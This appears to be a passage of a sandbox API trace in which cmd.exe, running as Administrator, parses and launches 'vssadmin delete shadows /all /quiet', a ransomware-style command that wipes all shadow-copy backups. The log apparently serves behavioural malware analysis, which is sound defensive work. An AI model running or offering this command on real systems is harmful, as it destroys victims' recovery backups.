[0210.873] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.873] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.873] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0210.873] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.873] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.873] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.873] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0210.873] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.873] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.873] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.873] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0210.873] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.873] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.873] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.873] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0210.873] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.873] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.873] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.873] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0210.873] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.873] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.874] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.874] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0210.874] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.874] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.874] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.874] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0210.874] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.874] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.874] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.874] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0210.874] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.874] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.874] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.874] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0210.874] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.874] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.874] ReadFile (in: hFile=0x228, lpBuffer=0x7ff6a7559970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe6b974fc48, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesRead=0xe6b974fc48*=0x1, lpOverlapped=0x0) returned 1 [0210.874] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=1, lpWideCharStr=0x7ff6a7563c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0210.874] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.874] GetFileType (hFile=0x228) returned 0x3 [0210.874] _get_osfhandle (_FileHandle=0) returned 0x228 [0210.874] SetFilePointer (in: hFile=0x228, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0210.874] _get_osfhandle (_FileHandle=1) returned 0x234 [0210.875] GetFileType (hFile=0x234) returned 0x3 [0210.875] _get_osfhandle (_FileHandle=1) returned 0x234 [0210.875] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff6a7559970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0210.875] WriteFile (in: hFile=0x234, lpBuffer=0x7ff6a7559970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xe6b974fbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6a7559970*, lpNumberOfBytesWritten=0xe6b974fbe8*=0x24, lpOverlapped=0x0) returned 1 [0210.875] GetProcessHeap () returned 0x21ccf2a0000 [0210.875] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x4012) returned 0x21ccf2a8fc0 [0210.875] GetProcessHeap () returned 0x21ccf2a0000 [0210.875] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a8fc0) returned 1 [0210.876] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0210.876] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0210.876] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0210.876] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0210.876] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0210.876] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0210.876] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0210.876] GetProcessHeap () returned 0x21ccf2a0000 [0210.876] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xb0) returned 0x21ccf2a8320 [0210.876] GetProcessHeap () returned 0x21ccf2a0000 [0210.876] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x22) returned 0x21ccf2a6a80 [0210.877] GetProcessHeap () returned 0x21ccf2a0000 [0210.877] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x48) returned 0x21ccf2a83e0 [0210.877] GetConsoleOutputCP () returned 0x4e3 [0210.884] GetCPInfo (in: CodePage=0x4e3, lpCPInfo=0x7ff6a755fbb0 | out: lpCPInfo=0x7ff6a755fbb0) returned 1 [0210.884] SetThreadUILanguage (LangId=0x0) returned 0x409 [0210.887] GetConsoleTitleW (in: lpConsoleTitle=0xe6b974fa30, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0210.889] malloc (_Size=0xffce) returned 0x21ccf480840 [0210.889] ??_V@YAXPEAX@Z () returned 0x21ccf480840 [0210.889] malloc (_Size=0xffce) returned 0x21ccf490820 [0210.889] ??_V@YAXPEAX@Z () returned 0x21ccf490820 [0210.890] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0210.890] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0210.890] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0210.890] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0210.890] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0210.890] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0210.890] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0210.890] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0210.890] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0210.890] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0210.890] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0210.890] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0210.890] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0210.890] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0210.890] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0210.890] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0210.890] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0210.890] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0210.890] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0210.890] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0210.890] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0210.890] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0210.890] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0210.890] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0210.890] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0210.890] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0210.890] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0210.890] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0210.890] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0210.890] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0210.890] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0210.890] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0210.890] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0210.891] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0210.891] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0210.891] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0210.891] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0210.891] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0210.891] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0210.891] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0210.891] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0210.891] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0210.891] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0210.891] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0210.891] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0210.891] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0210.891] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0210.891] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0210.891] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0210.891] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0210.891] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0210.891] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0210.891] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0210.891] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0210.891] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0210.891] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0210.891] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0210.891] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0210.891] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0210.891] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0210.891] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0210.891] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0210.891] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0210.891] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0210.891] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0210.891] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0210.891] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0210.891] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0210.891] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0210.891] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0210.892] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0210.892] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0210.892] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0210.892] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0210.892] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0210.892] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0210.892] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0210.892] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0210.892] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0210.892] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0210.892] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0210.892] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0210.892] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0210.892] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0210.892] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0210.892] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0210.892] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0210.892] ??_V@YAXPEAX@Z () returned 0x1 [0210.892] GetProcessHeap () returned 0x21ccf2a0000 [0210.892] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xffde) returned 0x21ccf2a8fc0 [0210.893] GetProcessHeap () returned 0x21ccf2a0000 [0210.893] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x5a) returned 0x21ccf2a6c30 [0210.893] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0210.893] malloc (_Size=0xffce) returned 0x21ccf490820 [0210.893] ??_V@YAXPEAX@Z () returned 0x21ccf490820 [0210.893] GetProcessHeap () returned 0x21ccf2a0000 [0210.893] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x1ffac) returned 0x21ccf2bab20 [0210.894] SetErrorMode (uMode=0x0) returned 0x0 [0210.894] SetErrorMode (uMode=0x1) returned 0x0 [0210.894] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x21ccf2bab30, lpFilePart=0xe6b974f2b0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xe6b974f2b0*="Desktop") returned 0x17 [0210.894] SetErrorMode (uMode=0x0) returned 0x1 [0210.894] GetProcessHeap () returned 0x21ccf2a0000 [0210.894] RtlReAllocateHeap (Heap=0x21ccf2a0000, Flags=0x0, Ptr=0x21ccf2bab20, Size=0x52) returned 0x21ccf2bab20 [0210.894] GetProcessHeap () returned 0x21ccf2a0000 [0210.894] RtlSizeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, MemoryPointer=0x21ccf2bab20) returned 0x52 [0210.894] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6a755bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0210.894] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0210.894] GetProcessHeap () returned 0x21ccf2a0000 [0210.894] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x1bc) returned 0x21ccf2a6ca0 [0210.894] GetProcessHeap () returned 0x21ccf2a0000 [0210.894] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x368) returned 0x21ccf2b8fb0 [0210.895] GetProcessHeap () returned 0x21ccf2a0000 [0210.895] RtlReAllocateHeap (Heap=0x21ccf2a0000, Flags=0x0, Ptr=0x21ccf2b8fb0, Size=0x1be) returned 0x21ccf2b8fb0 [0210.895] GetProcessHeap () returned 0x21ccf2a0000 [0210.895] RtlSizeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, MemoryPointer=0x21ccf2b8fb0) returned 0x1be [0210.895] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6a755bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0210.895] GetProcessHeap () returned 0x21ccf2a0000 [0210.895] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0xe8) returned 0x21ccf2b9180 [0210.895] GetProcessHeap () returned 0x21ccf2a0000 [0210.895] RtlReAllocateHeap (Heap=0x21ccf2a0000, Flags=0x0, Ptr=0x21ccf2b9180, Size=0x7e) returned 0x21ccf2b9180 [0210.895] GetProcessHeap () returned 0x21ccf2a0000 [0210.895] RtlSizeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, MemoryPointer=0x21ccf2b9180) returned 0x7e [0210.895] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0210.895] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xe6b974f020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe6b974f020) returned 0xffffffffffffffff [0210.895] GetLastError () returned 0x2 [0210.895] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0210.895] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xe6b974f020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe6b974f020) returned 0xffffffffffffffff [0210.898] GetLastError () returned 0x2 [0210.898] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0210.898] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xe6b974f020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe6b974f020) returned 0x21ccf2b9210 [0210.898] FindClose (in: hFindFile=0x21ccf2b9210 | out: hFindFile=0x21ccf2b9210) returned 1 [0210.898] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xe6b974f020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe6b974f020) returned 0xffffffffffffffff [0210.898] GetLastError () returned 0x2 [0210.898] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xe6b974f020, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xe6b974f020) returned 0x21ccf2b9210 [0210.899] FindClose (in: hFindFile=0x21ccf2b9210 | out: hFindFile=0x21ccf2b9210) returned 1 [0210.899] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0210.899] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0210.899] ??_V@YAXPEAX@Z () returned 0x1 [0210.899] GetConsoleTitleW (in: lpConsoleTitle=0xe6b974f5a0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0210.902] GetProcessHeap () returned 0x21ccf2a0000 [0210.902] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x21c) returned 0x21ccf2a6040 [0210.902] GetConsoleTitleW (in: lpConsoleTitle=0x21ccf2a6050, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0210.907] GetProcessHeap () returned 0x21ccf2a0000 [0210.907] RtlReAllocateHeap (Heap=0x21ccf2a0000, Flags=0x0, Ptr=0x21ccf2a6040, Size=0xc2) returned 0x21ccf2a6040 [0210.907] GetProcessHeap () returned 0x21ccf2a0000 [0210.907] RtlSizeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, MemoryPointer=0x21ccf2a6040) returned 0xc2 [0210.907] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0210.913] GetProcessHeap () returned 0x21ccf2a0000 [0210.914] RtlFreeHeap (HeapHandle=0x21ccf2a0000, Flags=0x0, BaseAddress=0x21ccf2a6040) returned 1 [0210.914] InitializeProcThreadAttributeList (in: lpAttributeList=0xe6b974f4c0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xe6b974f3b0 | out: lpAttributeList=0xe6b974f4c0, lpSize=0xe6b974f3b0) returned 1 [0210.914] UpdateProcThreadAttribute (in: lpAttributeList=0xe6b974f4c0, dwFlags=0x0, Attribute=0x60001, lpValue=0xe6b974f39c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xe6b974f4c0, lpPreviousValue=0x0) returned 1 [0210.914] GetStartupInfoW (in: lpStartupInfo=0xe6b974f450 | out: lpStartupInfo=0xe6b974f450*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x228, hStdOutput=0x234, hStdError=0x234)) [0210.914] GetProcessHeap () returned 0x21ccf2a0000 [0210.914] RtlAllocateHeap (HeapHandle=0x21ccf2a0000, Flags=0x8, Size=0x20) returned 0x21ccf2a1850 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0210.914] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0210.915] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0210.915] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0210.915] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0210.915] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0210.915] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0210.915] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0210.915] _wcsnicmp (_String1="COPYCMD", 